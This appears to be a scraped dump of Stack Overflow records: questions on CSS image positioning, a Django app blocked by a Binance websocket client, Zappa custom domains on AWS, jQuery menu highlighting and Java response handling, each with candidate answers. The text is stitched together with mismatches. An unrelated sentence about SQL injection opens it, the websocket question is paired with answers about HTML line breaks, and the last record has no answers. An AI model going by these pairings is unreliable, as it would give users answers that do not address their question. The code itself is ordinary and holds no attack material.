Since displaying information requires recovery from the database, then SQL injection attack may have occurred and insert occurred.
55,295,659
I am trying to position my image of a butterfly on to the image of flowers I am able to do it if there is no container elements with margins or padding in %, however if the images is in a responsive website position: absolute; does not produce the right results. below is the code I'm working with i have changed the images to online hosted ones and added the css from the external file in the html please click on step 4 and see that the butterfly is not linked to image of the daisies. how can I make it so that no matter what the size of the window is, the image of the butterfly stays related to the daisies. thank you i have also made a <https://jsfiddle.net/aLq8j6r1/> for it. ``` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Week 3 Classwork</title> <link rel="stylesheet" href="week3style.css"> <style> body{ margin: 0; padding: 0; background-color: beige; } #topNavBar ul{ list-style-type: none; padding: 0 15%; margin: 0; background-color: black; overflow: hidden; } #topNavBar a{ text-decoration: none; color: white; padding: 16px; display: block; } #topNavBar li{ float: left; background-color: black; } #topNavBar li:hover{ background-color: red; } .block{ margin: 3% 15%; padding: 10px; background-color: white; } .displayNone{ display: none; } </style> </head> <body> <div id="topNavBar"> <ul> <li><a href="classwork.html">Classwork Week 3</a></li> <li><a href="homework.html">Homework Week 3</a></li> <li><a href="../index.html">Homepage</a></li> </ul> </div> <div id="mainSection"> <!-- in block there is everything --> <div class="block"> <h1 style="text-align: center;">ClassWork week 3</h1> <div id="firstExercise"> <h2>Animation With HTML 5</h2> <div id="buttons"> <button onclick="showStep1()">step1</button> <button onclick="showStep2()">step2</button> <button onclick="showStep3()">step3</button> <button onclick="showStep4()">step4</button> <button onclick="showStep5()">step5</button> <button onclick="showStep6()">step6</button> </div> <div id="step1Div" style="width: 580px;height: 50px; border: solid 4px black;"> <div id="elem" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> //onclick the elem it move right var elem = document.getElementById("elem"); var left = 0; var move; elem.onclick=function myfunction(){ move =setInterval(movElem, 10); } function movElem(){ if(left>400){ clearInterval(move); } elem.style.left= left++ +"px"; } </script> </div> <!-- box --> <div id="step2Div" class="displayNone" style="width: 580px;height: 580px; border: solid 4px black;"> <!-- blue move element --> <div id="elemStep2" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> //on click - move right and down till 400px right then move left //how to move ? -setInterval //use long names //pseudo code: //var nameofelement = get elemebt by id elemstep2; var elemStep2 = document.getElementById("elemStep2"); //nameofelement.onclick: do following slowly: elemStep2.onclick=function myOnclickFunctionStep2(){ // (left increase to 400 var iStep2=0; //the following line will start to move the element to right and down var vstep2Move1=setInterval(Step2Move1,10); function Step2Move1(){ elemStep2.style.left= iStep2++ +"px"; elemStep2.style.top= iStep2/2 +"px"; //following will check if 400 is reached and if reached will stop movement and start movement 2 //stop and start move left till left is 20px if(iStep2>400){ clearInterval(vstep2Move1); vstep2Move2=setInterval(fStep2Move2,10); } }; var gStep2=400; var vstep2Move2; function fStep2Move2(){ elemStep2.style.left= gStep2-- +"px"; if(gStep2<20){ clearInterval(vstep2Move2); } } // }; </script> </div> <!-- box --> <div id="step3Div" class="displayNone" style="width: 580px;height: 580px; border: solid 4px black;"> <!-- blue element --> <div id="elemStep3" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> var elemStep3= document.getElementById("elemStep3"); var iStep3=0; var gStep3 =400; var hStep3 =20; var vStep3Move1; var vStep3Move2; var vStep3Move3; elemStep3.onclick=function onclickFunctionStep3(){ vStep3Move1= setInterval(fStep3Move1,10); function fStep3Move1(){ //move it elemStep3.style.left= iStep3++ +"px"; elemStep3.style.top= iStep3/2 +"px"; //if statement for stopping vStep3Move1 if(iStep3>400){ clearInterval(vStep3Move1); vStep3Move2 = setInterval(fStep3Move2,10); } } function fStep3Move2(){ elemStep3.style.left= gStep3-- +"px"; if(gStep3<20){ clearInterval(vStep3Move2); vStep3Move3= setInterval(fStep3Move3,10); } } function fStep3Move3(){ elemStep3.style.left= hStep3++ +"px"; elemStep3.style.top= (hStep3/2)+200 +"px"; if(hStep3> 400){ clearInterval(vStep3Move3); } } }; </script> </div> <div class="displayNone" id="step4Div"> <img src="https://i.imgur.com/XoZr6dM.jpg" alt="" style="position: relative;width: 580px;" > <img src="https://i.imgur.com/2s1zwDb.gif 1. List item " alt="" style="position:absolute; top: 0; left: 0;"> </div> <div class="displayNone" id="step5Div">step5</div> <div class="displayNone" id="step6Div">step6</div> <style> .displayNone{ display: none; } </style> <script> var step1Div = document.getElementById("step1Div"); var step2Div = document.getElementById("step2Div"); var step3Div = document.getElementById("step3Div"); var step4Div = document.getElementById("step4Div"); var step5Div = document.getElementById("step5Div"); var step6Div = document.getElementById("step6Div"); function showStep1(){ step1Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep2(){ step2Div.classList.remove("displayNone"); step1Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep3(){ step3Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep4(){ step4Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep5(){ step5Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep6(){ step6Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); } </script> </div> <div id="secondExercise"> <h2>OOP Exercise/Demo</h2> </div> <div id="thirdExercise"> <h2>Javascript slideshow</h2> </div> <div id="fourthExercise"> <h2>Menu</h2> </div> </div><!-- block ends --> </div><!-- main sedction ends --> </body> </html> ```
2019/03/22
[ "https://Stackoverflow.com/questions/55295659", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11241708/" ]
Well, an absolute positioned element stays relative to its first positioned (not static) ancestor element [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/position) [w3schools](https://www.w3schools.com/cssref/pr_class_position.asp) So you should add `position:relative` to it's parent. In your case `#step4Div` . Then position it how you want. Using `top` and `left` and other styles. My suggestion is you don't use inline styles but write them in the css. I won't get into the javascript code which **definitely** needs some refactoring. Too many lines of code that are overkill. ```js var step1Div = document.getElementById("step1Div"); var step2Div = document.getElementById("step2Div"); var step3Div = document.getElementById("step3Div"); var step4Div = document.getElementById("step4Div"); var step5Div = document.getElementById("step5Div"); var step6Div = document.getElementById("step6Div"); function showStep1() { step1Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep2() { step2Div.classList.remove("displayNone"); step1Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep3() { step3Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep4() { step4Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep5() { step5Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); step6Div.classList.add("displayNone"); } function showStep6() { step6Div.classList.remove("displayNone"); step2Div.classList.add("displayNone"); step3Div.classList.add("displayNone"); step4Div.classList.add("displayNone"); step5Div.classList.add("displayNone"); step1Div.classList.add("displayNone"); } ``` ```css body { margin: 0; padding: 0; background-color: beige; } #topNavBar ul { list-style-type: none; padding: 0 15%; margin: 0; background-color: black; overflow: hidden; } #topNavBar a { text-decoration: none; color: white; padding: 16px; display: block; } #topNavBar li { float: left; background-color: black; } #topNavBar li:hover { background-color: red; } .block { margin: 3% 15%; padding: 10px; background-color: white; } .displayNone { display: none; } #step4Div { position: relative; } ``` ```html <div id="topNavBar"> <ul> <li><a href="classwork.html">Classwork Week 3</a></li> <li><a href="homework.html">Homework Week 3</a></li> <li><a href="../index.html">Homepage</a></li> </ul> </div> <div id="mainSection"> <!-- in block there is everything --> <div class="block"> <h1 style="text-align: center;">ClassWork week 3</h1> <div id="firstExercise"> <h2>Animation With HTML 5</h2> <div id="buttons"> <button onclick="showStep1()">step1</button> <button onclick="showStep2()">step2</button> <button onclick="showStep3()">step3</button> <button onclick="showStep4()">step4</button> <button onclick="showStep5()">step5</button> <button onclick="showStep6()">step6</button> </div> <div id="step1Div" style="width: 580px;height: 50px; border: solid 4px black;"> <div id="elem" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> //onclick the elem it move right var elem = document.getElementById("elem"); var left = 0; var move; elem.onclick = function myfunction() { move = setInterval(movElem, 10); } function movElem() { if (left > 400) { clearInterval(move); } elem.style.left = left++ + "px"; } </script> </div> <!-- box --> <div id="step2Div" class="displayNone" style="width: 580px;height: 580px; border: solid 4px black;"> <!-- blue move element --> <div id="elemStep2" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> //on click - move right and down till 400px right then move left //how to move ? -setInterval //use long names //pseudo code: //var nameofelement = get elemebt by id elemstep2; var elemStep2 = document.getElementById("elemStep2"); //nameofelement.onclick: do following slowly: elemStep2.onclick = function myOnclickFunctionStep2() { // (left increase to 400 var iStep2 = 0; //the following line will start to move the element to right and down var vstep2Move1 = setInterval(Step2Move1, 10); function Step2Move1() { elemStep2.style.left = iStep2++ + "px"; elemStep2.style.top = iStep2 / 2 + "px"; //following will check if 400 is reached and if reached will stop movement and start movement 2 //stop and start move left till left is 20px if (iStep2 > 400) { clearInterval(vstep2Move1); vstep2Move2 = setInterval(fStep2Move2, 10); } }; var gStep2 = 400; var vstep2Move2; function fStep2Move2() { elemStep2.style.left = gStep2-- + "px"; if (gStep2 < 20) { clearInterval(vstep2Move2); } } // }; </script> </div> <!-- box --> <div id="step3Div" class="displayNone" style="width: 580px;height: 580px; border: solid 4px black;"> <!-- blue element --> <div id="elemStep3" style="position: relative; width: 20px; height: 50px;background-color: aquamarine;"></div> <script> var elemStep3 = document.getElementById("elemStep3"); var iStep3 = 0; var gStep3 = 400; var hStep3 = 20; var vStep3Move1; var vStep3Move2; var vStep3Move3; elemStep3.onclick = function onclickFunctionStep3() { vStep3Move1 = setInterval(fStep3Move1, 10); function fStep3Move1() { //move it elemStep3.style.left = iStep3++ + "px"; elemStep3.style.top = iStep3 / 2 + "px"; //if statement for stopping vStep3Move1 if (iStep3 > 400) { clearInterval(vStep3Move1); vStep3Move2 = setInterval(fStep3Move2, 10); } } function fStep3Move2() { elemStep3.style.left = gStep3-- + "px"; if (gStep3 < 20) { clearInterval(vStep3Move2); vStep3Move3 = setInterval(fStep3Move3, 10); } } function fStep3Move3() { elemStep3.style.left = hStep3++ + "px"; elemStep3.style.top = (hStep3 / 2) + 200 + "px"; if (hStep3 > 400) { clearInterval(vStep3Move3); } } }; </script> </div> <div class="displayNone" id="step4Div"> <img src="https://i.imgur.com/XoZr6dM.jpg" alt="" style="position: relative;width: 580px;"> <img src="https://i.imgur.com/2s1zwDb.gif 1. List item " alt="" style="position:absolute; top: 0; left: 0;"> </div> <div class="displayNone" id="step5Div">step5</div> <div class="displayNone" id="step6Div">step6</div> </div> <div id="secondExercise"> <h2>OOP Exercise/Demo</h2> </div> <div id="thirdExercise"> <h2>Javascript slideshow</h2> </div> <div id="fourthExercise"> <h2>Menu</h2> </div> </div> <!-- block ends --> </div> <!-- main sedction ends --> ```
To explain a bit: `absolute` explicitly makes the styled element positioned absolutely compared to the closest parent that is *also* explicitly positioned. The butterfly you have correctly positioned `absolute` because it needs to be positioned on top of the flowers. However it was absolute compared to the closest parent ie the `body` (it looks like). Adding `relative` makes the styled element stay where it would have been without styling `relative`, however the `relative` element now forms the closest explicitly positioned parent. `<div class="displayNone" id="step4Div" style="position:relative">`
68,954,350
So when I run the WebSocket client I can no longer reach the Django app like I can't connect to `127.0.0.1:8000`, here is the WebSocket file: ``` import websocket, json, pprint from datetime import datetime socket = "wss://stream.binance.com:9443/ws/manausdt@kline_1m" def on_message(ws, msg): message = json.loads(msg) messageData = message['k'] if messageData['x']: # get_data(messageData) timestamp = float(messageData['t']) symbol = messageData['s'] interval = messageData['i'] closeprice = float(messageData['c']) openprice = float(messageData['o']) highprice = float(messageData['h']) lowprice = float(messageData['l']) datetime_ob = datetime.fromtimestamp(timestamp / 1000) data = {'timestamp': timestamp, 'symbol': symbol, 'interval': interval, 'closeprice': closeprice, 'openprice': openprice, 'highprice': highprice, 'lowprice': lowprice, 'datetime_ob': datetime_ob} print(data) def on_open(ws): print('Connected!') def on_error(wsapp, err): print("Got a an error: ", err) def runwss(): stream = websocket.WebSocketApp(socket, on_error=on_error, on_open=on_open, on_message=on_message) stream.run_forever() runwss() ``` And I inited it in `apps` file: ``` from django.apps import AppConfig class ServiceGetDataConfig(AppConfig): default_auto_field = 'django.db.models.BigAutoField' name = 'service_get_data' def ready(self): import service_get_data.wss ``` And as I said I can't reach `127.0.0.1:8000` anymore so what shall I do in this case?
2021/08/27
[ "https://Stackoverflow.com/questions/68954350", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10314484/" ]
So I was able to accomplish this by replacing the use of `<br/>` with: ```html <p>&nbsp;</p> ``` Kind of a pain, but it works.
With html interpretation: ``` <br> gives a new line break (no empty line) <br><br> would give you a single empty line. <br><br><br> would give you 2 empty lines. ``` You probably need the `<br><br><br>` version to get your desired effect.
47,604,237
I'm using Zappa to deploy a Flask app. It works ([site](https://b1829cjcs9.execute-api.us-west-1.amazonaws.com/dev "hooray!")). Obviously I'd like to not have it stuck behind the aws domain and put it on my personal domain. Everything I'm searching keeps talking about hosting a Lambda site *with* S3 and API Gateway. Is there no way to just deploy my little app to a custom domain? **Edit** Following @mislav's answer, I was able to get my google domain working with AWS. But when I try to finish by running `zappa certify` I get an error about the domain existing: > > raise error\_class(parsed\_response, operation\_name) > botocore.errorfactory.BadRequestException: An error occurred > (BadRequestException) when calling the CreateDomainName operation: The > domain name you provided already exists. > > > My `zappa_settings.json` is ``` { "dev": { "app_function": "ping_app.app", "aws_region": "us-west-1", "profile_name": "Breuds", "project_name": "breuds", "runtime": "python3.6", "s3_bucket": "zappa-ping-redshift", "slim_handler": true, "certificate_arn": "arn:aws:acm:us-east-1:010174774769:certificate/3a92c204-5788-42fc-bc65-74aaae8c1b3f", "domain": "breuds.com" } } ``` I am beginning to think I am doing something convoluted on my domain side. I'm using Google Domains (since I have a custom domain for my email, just using that), but that seems to cause a headache trying to get AWS to talk to it.
2017/12/02
[ "https://Stackoverflow.com/questions/47604237", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1052985/" ]
It’s actually explained in [zappa’s readme](https://github.com/Miserlou/Zappa/blob/master/README.md#deploying-to-a-domain-with-aws-certificate-manager). > > Deploying to a Domain With AWS Certificate Manager > > > Amazon provides their own free alternative to Let's Encrypt called AWS Certificate Manager (ACM). To use this service with Zappa: > > > Verify your domain in the AWS Certificate Manager console. > In the console, select the N. Virginia (us-east-1) region and request a certificate for your domain or subdomain (sub.yourdomain.tld), or request a wildcard domain (\*.yourdomain.tld). > Copy the entire ARN of that certificate and place it in the Zappa setting certificate\_arn. > Set your desired domain in the domain setting. > Call $ zappa certify to create and associate the API Gateway distribution using that certificate. > > > There are also instructions to use your existing certificate etc. Don’t let it fool you, the title of the section makes it sound like it’s only about certificates, but there are detailed instructions regarding using you own domain. Edit: I’m including [my own zappa settings](https://github.com/mislavcimpersak/xkcd-excuse-generator/blob/master/zappa_settings.json) for reference. ``` { "common": { "app_function": "app.__hug_wsgi__", "aws_region": "eu-central-1", "s3_bucket": "excuse-generator", "profile_name": "mislavcimpersak", "remote_env": "s3://excuse-generator/secrets.json", "certificate_arn": "arn:aws:acm:us-east-1:500819636056:certificate/3edb9c1c-12c5-4601-89a9-dc42df840fa6" }, "prod": { "extends": "common", "domain": "function.xkcd-excuse.com" }, "dev": { "extends": "common", "debug": true, "keep_warm": false, "domain": "function-dev.xkcd-excuse.com" } } ``` --- **Step by step guide for domain bought on namecheap.com and served through cloudflare.com** 1. buy domain on namecheap.com/use existing 2. register new site on cloudflare.com/use existing 3. cloudflare will give you (most probably) two nameservers 4. enter under <https://ap.www.namecheap.com/domains/domaincontrolpanel/xkcd-excuse.com/domain> DNS - choose "Custom DNS" nameservers given on cloudflare 5. go to AWS ACM and request a new certificate (certificate must be created in **us-east-1** region) 6. enter if necessary multiple subdomains (`foo.example.com` & `foo-dev.example.com`) 7. make note of ACM ARN given from AWS management console 8. in `zappa_settings.json` enter under `certificate_arn` your ARN 9. in `zappa_settings.json` under `route53_enabled` put `false` - **this is a must** 10. in `zappa_settings.json` under `domain` enter domain for each stage ie. `foo.example.com` and `foo-dev.example.com` 11. run `zappa certify <stage_name>` 12. it should say: "Created a new domain name with supplied certificate. Please note that it can take up to 40 minutes for this domain to be created and propagated through AWS, but it requires no further work on your part. Certificate updated!" 13. go to CloudFlare DNS interface and enter * CNAME: foo - i3jtsjkdeu4wxo.cloudfront.net * CNAME: foo-dev - d2jtsjkdeu4wxo.cloudfront.net 14. wait for 40 minutes and check your domain(s), they should serve your Lambda function
You might not need API Gateway. It will depend on site functionality. You can host a static website using S3 with a custom domain. You can include client-side javascript(angular/react etc..) API Gateway is really for handling http requests and passing it on to defined resources(Lambda or others). If your site will require backend capability then you have few options. 1) Build lambda functions and then use API Gateway(REST API) to interact with these functions. yourhostname.com -> S3 -> API Gateway(aws hostname) -> lambda 2) Use AWS JS SDK to interact with your lambda functions directly. yourhostname.com -> S3 -> AWS SDK -> lambda 3) Use API Gateway and then forwarding to Lambda or self hosted web server(flask node) using EC2 instance yourhostname.com -> API Gateway(aws hostname) -> lambda yourhostname.com -> self hosted web server Here is a picture that might make it a bit clearer. [![enter image description here](https://i.stack.imgur.com/EgNW7.png)](https://i.stack.imgur.com/EgNW7.png) Correct me if I am wrong flask is used for backend development to build microservices. To host it you would use either build lambda functions or host it on your own instance. <https://andrich.blog/2017/02/12/first-steps-with-aws-lambda-zappa-flask-and-python/> Let me know if this helps.
22,120,946
Highlight current Menu Item is not working, why? I think I'm doing everything ok, but it's not working. Can you give me a little help? **Html:** ``` <section id="menu-container"> <div id="bar"><img src="border.png" /></div> <nav id="menu"> <ul> <li id><a href="#">Home</a></li> <li><a href="page.html1">Home2</a></li> <li><a href="page.html2">Home3</a></li> <li><a href="page.html3">Home4</a></li> <li><a href="page.html4">Home5</a></li> </ul> </nav> </section> ``` **Javascript:** ``` $(function(){ var url = window.location.href; $("#menu ul li a").each(function() { if(url == (this.href)) { $(this).closest("li").addClass("active"); } }); }); ``` **CSS:** ``` .active{ background-color:#0C3; } ```
2014/03/01
[ "https://Stackoverflow.com/questions/22120946", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3121312/" ]
Use `$(this).attr("href")` to get the `href` value from your links, since you are already using JQuery. Combine that with andrew's suggestion to get the end of the current url and you now have better values to test in your `if` statement. ``` $(function(){ var url = window.location.href.split('/'); url = url[url.length-1]; $("#menu a").each(function() { var $this = $(this); // to minimize DOM traversal if (url === $this.attr("href")) { $this.closest("li").addClass("active"); } }); }); ``` --- **UPDATE:** An even better option would be to use advanced JQuery selectors: ``` $(function(){ var url = window.location.href.split('/'); url = url[url.length-1]; $("#menu a[href='" + url + "'").addClass("active"); }); ```
``` this.location.href // http://stackoverflow.com/questions/22120946/highlight-current-menu-item-is-not-working-why ``` try: ``` var url = window.location.href.split('/'); url = url[url.length-1]; ```
22,120,946
Highlight current Menu Item is not working, why? I think I'm doing everything ok, but it's not working. Can you give me a little help? **Html:** ``` <section id="menu-container"> <div id="bar"><img src="border.png" /></div> <nav id="menu"> <ul> <li id><a href="#">Home</a></li> <li><a href="page.html1">Home2</a></li> <li><a href="page.html2">Home3</a></li> <li><a href="page.html3">Home4</a></li> <li><a href="page.html4">Home5</a></li> </ul> </nav> </section> ``` **Javascript:** ``` $(function(){ var url = window.location.href; $("#menu ul li a").each(function() { if(url == (this.href)) { $(this).closest("li").addClass("active"); } }); }); ``` **CSS:** ``` .active{ background-color:#0C3; } ```
2014/03/01
[ "https://Stackoverflow.com/questions/22120946", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3121312/" ]
Use `$(this).attr("href")` to get the `href` value from your links, since you are already using JQuery. Combine that with andrew's suggestion to get the end of the current url and you now have better values to test in your `if` statement. ``` $(function(){ var url = window.location.href.split('/'); url = url[url.length-1]; $("#menu a").each(function() { var $this = $(this); // to minimize DOM traversal if (url === $this.attr("href")) { $this.closest("li").addClass("active"); } }); }); ``` --- **UPDATE:** An even better option would be to use advanced JQuery selectors: ``` $(function(){ var url = window.location.href.split('/'); url = url[url.length-1]; $("#menu a[href='" + url + "'").addClass("active"); }); ```
``` var url = window.location.href; $('#menu a').each(function(k,s) { if(this == url){ $(this).addClass('active'); } }); ``` Here is a [fiddle](http://jsfiddle.net/3usdk/3/) for the solution. The second link in the fiddle should be the active link.
10,510,118
I am creating a Java EE client where I need to make a call to a node (js) server to get the response. So I made a single class through which requests are made to node server. Everytime I get a response, I need to send back the response code and the response itself. So I thought of creating a String array which would contain the response code and the response. Here is my class: ``` import javax.ws.rs.core.MediaType; import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.ClientResponse; import com.sun.jersey.api.client.WebResource; import com.sun.jersey.api.client.config.ClientConfig; import com.sun.jersey.api.client.config.DefaultClientConfig; import com.sun.jersey.api.client.filter.LoggingFilter; import com.sun.jersey.core.impl.provider.entity.StringProvider; public class RequestHandler { /** * Makes a HTTP Request for a given url. The type * determines which type of request, post or get, * will be made. The params cane be in form of * name=value pair or JSON format. * * @param type Request method. 1 - Get, 2 - Post. * @param url url string to which request has to be * made. * @param path path of the resource or service for a * url. * @param params request parameters. Can be either * name=value pair or JSON request. * * @return String representation of the response. * */ public static String[] makeRequest(int type, String url, String path, String params) { String[] response = new String[2]; ClientResponse clientResponse = null; try { ClientConfig config = new DefaultClientConfig(); config.getClasses().add(StringProvider.class); Client client = Client.create(config); WebResource service = client.resource(url); client.addFilter(new LoggingFilter()); service.path("rest"); // 1 - GET, 2 - POST switch (type) { case 1: { System.out.println("Making GET request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).get(ClientResponse.class); //TODO Code to be corrected, include params break; } case 2: { System.out.println("Making POST request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).post(ClientResponse.class, params); break; } } } catch (Exception e) { e.printStackTrace(); response[0] = "500"; response[1] = "Internal Server Error"; return response; } response[0] = String.valueOf(clientResponse.getStatus()); response[1] = clientResponse.getEntity(String.class); System.err.println("Response status: " + response[0]); return response; }//end of makeRequest() }//end of class ``` But I am not convinced by creating too much string objects which would cause performance issues. So I thought of creating a Map which would send back the response code and the response. ``` response.put(500, "Internal Server Error"); ``` But again, creating a map with integer and checking everytime the response code creates overhead of boxing and unboxing of Integer object, which again could result in performance. ``` HashMap<Integer, String> response = RequestHandler.makeRequest(2, urlString, "/login", params); if (response.containsKey(500)) { return Message.INTERNAL_SERVER_ERROR; } ``` Which one should I use for better performance? Or is there any better alternative out of it?
2012/05/09
[ "https://Stackoverflow.com/questions/10510118", "https://Stackoverflow.com", "https://Stackoverflow.com/users/804487/" ]
Given that a `HashMap` contains an array, plus a bunch of housekeeping items (size, threshold, load factor), a `String[]` array is going to be smaller (and thus, by one measure, more efficient) than a `HashMap`. However, avoid [premature optimisation](http://c2.com/cgi/wiki?PrematureOptimization).
I don't think it makes much of a performance difference either way. But for clarity I would suggest using a `Enums` or `static final` variables since you already know all the possible codes before hand. A HashMap would be good if you needed to add/remove data dynamically but that doesn't apply in this case.
10,510,118
I am creating a Java EE client where I need to make a call to a node (js) server to get the response. So I made a single class through which requests are made to node server. Everytime I get a response, I need to send back the response code and the response itself. So I thought of creating a String array which would contain the response code and the response. Here is my class: ``` import javax.ws.rs.core.MediaType; import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.ClientResponse; import com.sun.jersey.api.client.WebResource; import com.sun.jersey.api.client.config.ClientConfig; import com.sun.jersey.api.client.config.DefaultClientConfig; import com.sun.jersey.api.client.filter.LoggingFilter; import com.sun.jersey.core.impl.provider.entity.StringProvider; public class RequestHandler { /** * Makes a HTTP Request for a given url. The type * determines which type of request, post or get, * will be made. The params cane be in form of * name=value pair or JSON format. * * @param type Request method. 1 - Get, 2 - Post. * @param url url string to which request has to be * made. * @param path path of the resource or service for a * url. * @param params request parameters. Can be either * name=value pair or JSON request. * * @return String representation of the response. * */ public static String[] makeRequest(int type, String url, String path, String params) { String[] response = new String[2]; ClientResponse clientResponse = null; try { ClientConfig config = new DefaultClientConfig(); config.getClasses().add(StringProvider.class); Client client = Client.create(config); WebResource service = client.resource(url); client.addFilter(new LoggingFilter()); service.path("rest"); // 1 - GET, 2 - POST switch (type) { case 1: { System.out.println("Making GET request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).get(ClientResponse.class); //TODO Code to be corrected, include params break; } case 2: { System.out.println("Making POST request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).post(ClientResponse.class, params); break; } } } catch (Exception e) { e.printStackTrace(); response[0] = "500"; response[1] = "Internal Server Error"; return response; } response[0] = String.valueOf(clientResponse.getStatus()); response[1] = clientResponse.getEntity(String.class); System.err.println("Response status: " + response[0]); return response; }//end of makeRequest() }//end of class ``` But I am not convinced by creating too much string objects which would cause performance issues. So I thought of creating a Map which would send back the response code and the response. ``` response.put(500, "Internal Server Error"); ``` But again, creating a map with integer and checking everytime the response code creates overhead of boxing and unboxing of Integer object, which again could result in performance. ``` HashMap<Integer, String> response = RequestHandler.makeRequest(2, urlString, "/login", params); if (response.containsKey(500)) { return Message.INTERNAL_SERVER_ERROR; } ``` Which one should I use for better performance? Or is there any better alternative out of it?
2012/05/09
[ "https://Stackoverflow.com/questions/10510118", "https://Stackoverflow.com", "https://Stackoverflow.com/users/804487/" ]
Given that a `HashMap` contains an array, plus a bunch of housekeeping items (size, threshold, load factor), a `String[]` array is going to be smaller (and thus, by one measure, more efficient) than a `HashMap`. However, avoid [premature optimisation](http://c2.com/cgi/wiki?PrematureOptimization).
I think that you can define your own response object like this: ``` class Response{ int status; String msg; } ```
10,510,118
I am creating a Java EE client where I need to make a call to a node (js) server to get the response. So I made a single class through which requests are made to node server. Everytime I get a response, I need to send back the response code and the response itself. So I thought of creating a String array which would contain the response code and the response. Here is my class: ``` import javax.ws.rs.core.MediaType; import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.ClientResponse; import com.sun.jersey.api.client.WebResource; import com.sun.jersey.api.client.config.ClientConfig; import com.sun.jersey.api.client.config.DefaultClientConfig; import com.sun.jersey.api.client.filter.LoggingFilter; import com.sun.jersey.core.impl.provider.entity.StringProvider; public class RequestHandler { /** * Makes a HTTP Request for a given url. The type * determines which type of request, post or get, * will be made. The params cane be in form of * name=value pair or JSON format. * * @param type Request method. 1 - Get, 2 - Post. * @param url url string to which request has to be * made. * @param path path of the resource or service for a * url. * @param params request parameters. Can be either * name=value pair or JSON request. * * @return String representation of the response. * */ public static String[] makeRequest(int type, String url, String path, String params) { String[] response = new String[2]; ClientResponse clientResponse = null; try { ClientConfig config = new DefaultClientConfig(); config.getClasses().add(StringProvider.class); Client client = Client.create(config); WebResource service = client.resource(url); client.addFilter(new LoggingFilter()); service.path("rest"); // 1 - GET, 2 - POST switch (type) { case 1: { System.out.println("Making GET request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).get(ClientResponse.class); //TODO Code to be corrected, include params break; } case 2: { System.out.println("Making POST request to: " + url + path); System.out.println("Request Params: " + params); clientResponse = service.path(path).type(MediaType.APPLICATION_JSON_TYPE).accept(MediaType.APPLICATION_JSON).post(ClientResponse.class, params); break; } } } catch (Exception e) { e.printStackTrace(); response[0] = "500"; response[1] = "Internal Server Error"; return response; } response[0] = String.valueOf(clientResponse.getStatus()); response[1] = clientResponse.getEntity(String.class); System.err.println("Response status: " + response[0]); return response; }//end of makeRequest() }//end of class ``` But I am not convinced by creating too much string objects which would cause performance issues. So I thought of creating a Map which would send back the response code and the response. ``` response.put(500, "Internal Server Error"); ``` But again, creating a map with integer and checking everytime the response code creates overhead of boxing and unboxing of Integer object, which again could result in performance. ``` HashMap<Integer, String> response = RequestHandler.makeRequest(2, urlString, "/login", params); if (response.containsKey(500)) { return Message.INTERNAL_SERVER_ERROR; } ``` Which one should I use for better performance? Or is there any better alternative out of it?
2012/05/09
[ "https://Stackoverflow.com/questions/10510118", "https://Stackoverflow.com", "https://Stackoverflow.com/users/804487/" ]
